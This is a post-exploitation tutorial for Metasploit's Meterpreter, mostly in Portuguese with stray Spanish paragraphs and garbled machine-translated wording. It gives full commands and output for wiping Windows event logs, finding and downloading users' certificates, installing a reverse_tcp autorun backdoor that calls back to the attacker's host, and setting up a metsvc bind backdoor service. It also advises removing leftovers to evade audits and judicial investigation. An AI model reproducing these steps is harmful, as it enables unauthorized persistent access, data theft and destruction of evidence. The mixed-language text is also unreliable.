[*] DEP is limited to Windows system binaries.

clearev

Este é um utilitário interessante que permite que você apague todos os arquivos de log gravadas no caso de a máquina comprometida, desta forma você pode esconder os vestígios das ações realizadas e foram provavelmente monitorado.

Em um sistema Windows, a ferramenta para exibir o log está localizado em Configuração → Ferramentas Administrativas → Visualizador de Eventos

Depois de executar o script que você pode ver que o aplicativo não contém todas as entradas relacionadas a atividades realizadas no sistema, deixando apenas um rastro indicando que o sistema executou uma auditoria automático com sucesso.

meterpreter > clearev
[*] Wiping 874 records from Application…[*] Wiping 2076 records from System…[*] Wiping 0 records from Security…meterpreter>

file_collector

 Este é um script que permite que você encontrar certos padrões de arquivos em um determinado diretório, desta forma você pode encontrar todos os arquivos com um nome e / ou a extensão indicada nos parâmetros do comando.

meterpreter > run file_collector
Meterpreter Script for searching and downloading files thatmatch a specific pattern. First save files to a file, edit anduse that same file to download the choosen files.OPTIONS:

-d <opt> Directory to start search on, search will be recursive.

-f <opt> Search blobs separated by a |.

-h Help menu.

-i <opt> Input file with list of files to download, one per line.

-l <opt> Location where to save the files.

-o <opt> Output File to save the full path of files found.

-r Search subdirectories.

Las opciones obligatorias son -d y -f para especificar el directorio de búsqueda y el filtro respectivamente, el siguiente ejemplo, busca todos los certificados almacenados en la partición C del disco duro, al igual que cualquier fichero con extensión .exploit

meterpreter > run file_collector -d C:\\ -f .cer|.exploit -r
[*] Searching for *.cer[*] C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer (517 bytes)[*] C:\Documents and Settings\Owner\Desktop\mycertificate.cer (745 bytes)[*] C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer (420 bytes)

[*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer (784 bytes)

[*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer (740 bytes)

Como puede apreciarse, se han encontrado algunos certificados de usuario y son listados en el resultado, aunque no se haya encontrado nada sobre el otro filtro de búsqueda indicado.

Otra opción interesante es -o que nos permite especificar un fichero de salida, donde podremos almacenar los resultados del comando, Sin embargo no se queda aquí, también podemos obtener dichos ficheros y almacenarlos en local con el uso de la opción -l

meterpreter > run file_collector -l /opt/metasploit3/msf3/stoled/ -i /opt/metasploit3/msf3/stoled/files_stoled
[*] Reading file /opt/metasploit3/msf3/stoled/files_stoled[*] Downloading to /opt/metasploit3/msf3/stoled/[*] Downloading C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer[*] Downloading C:\Documents and Settings\Owner\Desktop\mycertificate.cer

[*] Downloading C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer

[*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer

[*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer

persistence

Uma vez explorado um sistema, uma porta persistente que nos permite conectar a qualquer momento para o nosso objetivo, sem explorá-lo novamente é desejável para executar esta tarefa, existem algumas outras maneiras que envolvem a modificação do registro do Windows manualmente, neste caso, vamos fazer uso de uma das cargas que existem em uma sessão meterpreter para instalar o serviço.

Nota: Não especifique um valor para a autenticação, o que significa que qualquer usuário na máquina remota, pode fazer uma conexão com o backdoor, isso pode ser um risco de segurança elevado, por isso recomenda-se cautela e limpar qualquer registro (traço) após ter terminado a execução das tarefas.

meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.OPTIONS:-A Automatically start a matching multi/handler to connect to the agent-L <opt> Location in target host where to write payload to, if none %TEMP% will be used.

-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.

-S Automatically start the agent on boot as a service (with SYSTEM privileges)

-T <opt> Alternate executable template to use

-U Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

-h This help menu

-i <opt> The interval in seconds between each connection attempt

-p <opt> The port on the remote host where Metasploit is listening

-r <opt> The IP of the system running Metasploit listening for the connect back

meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.33

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf3/logs/persistence/OWNER_20110307.1848/OWNER_20110307.1848.rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444

[*] Persistent agent script is 610514 bytes long

[+] Persisten Script written to C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs

[*] Executing script C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs

[+] Agent executed with PID 2840

[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu

[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu

Agora você pode reiniciar a máquina comprometida, a fim de iniciar o processo recém-criado, isso pode ser feito com o comando reboot e uma vez que o usuário fizer logon novamente, a conexão com a máquina do atacante começará, portanto, a máquina deve ser preparada com um exploit e um PAYLOAD adequado como reverse_tcp, reverse_http, reverse_https ou metsvc_bind_tcp

metsrv

Outra maneira de manter o acesso a um alvo, é através do estabelecimento de um backdoor, você pode definir uma backdoor através do uso de extensão meterpreter metsvc desta forma pode, em seguida, acessar o cliente sem esperar a máquina novamente estabelecer a conexão.

Uma vez que é necessário encontrar o processo explorer (onde procuraremos o backdoor), mas não têm necessariamente de ser este processo especial, pois você pode executar o comando em qualquer processo válido identificador da sessão meterpreter obtido, indica a processo “explorer”, uma vez que é um dos processos mais importantes do sistema operacional:

meterpreter > ps
Process list============PID Name Arch Session User Path— —- —- ——- —- —-

0 [System Process]

4 System x86 0 NT AUTHORITY\SYSTEM

476 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe

….

meterpreter > migrate 244

[*] Migrating to 244…

[*] Migration completed successfully.

Uma vez que o processo de migração, você pode executar o comando

meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337[*] Creating a temporary installation directory C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…[*] >> Uploading metsrv.dll…[*] >> Uploading metsvc-server.exe…

[*] >> Uploading metsvc.exe…

[*] Starting the service…

* Installing service metsvc

* Starting service

Service metsvc successfully installed.

Se já existe um backdoor instalado é possível excluir com a opção-r.

Agora que a porta da bagageira é estabelecida, você pode começar a qualquer momento uma ponte inversa para a máquina do atacante automaticamente, assim você pode usar o multi / handler explorar para realizar essas ações, além disso, uma carga definida para realizar a conexão imediata entre as duas máquinas:

msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcpmsf exploit(handler) > set RHOST 192.168.1.34

RHOST => 192.168.1.34

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > exploit

[*] Starting the payload handler…

[*] Started bind handler

[*] Meterpreter session 4 opened (192.168.1.33:38034 -> 192.168.1.34:31337) at Sun Mar 06 21:53:51 +0100 2011

meterpreter >

NOTA: Embora você pode remover este backdoor, na verdade o que a opção-r é para remover as entradas de registro da máquina remota, mas os arquivos carregadas na máquina, não é excluída, portanto, é importante realizar o apagamento de bibliotecas (. dll) e arquivos executáveis ​​(. exe) manualmente para evitar deixar vestígios que podem ser facilmente detectadas por uma auditoria de software ou de um processo judicial, além de que também é necessário para encerrar qualquer processo que está executando e dependente dos arquivos.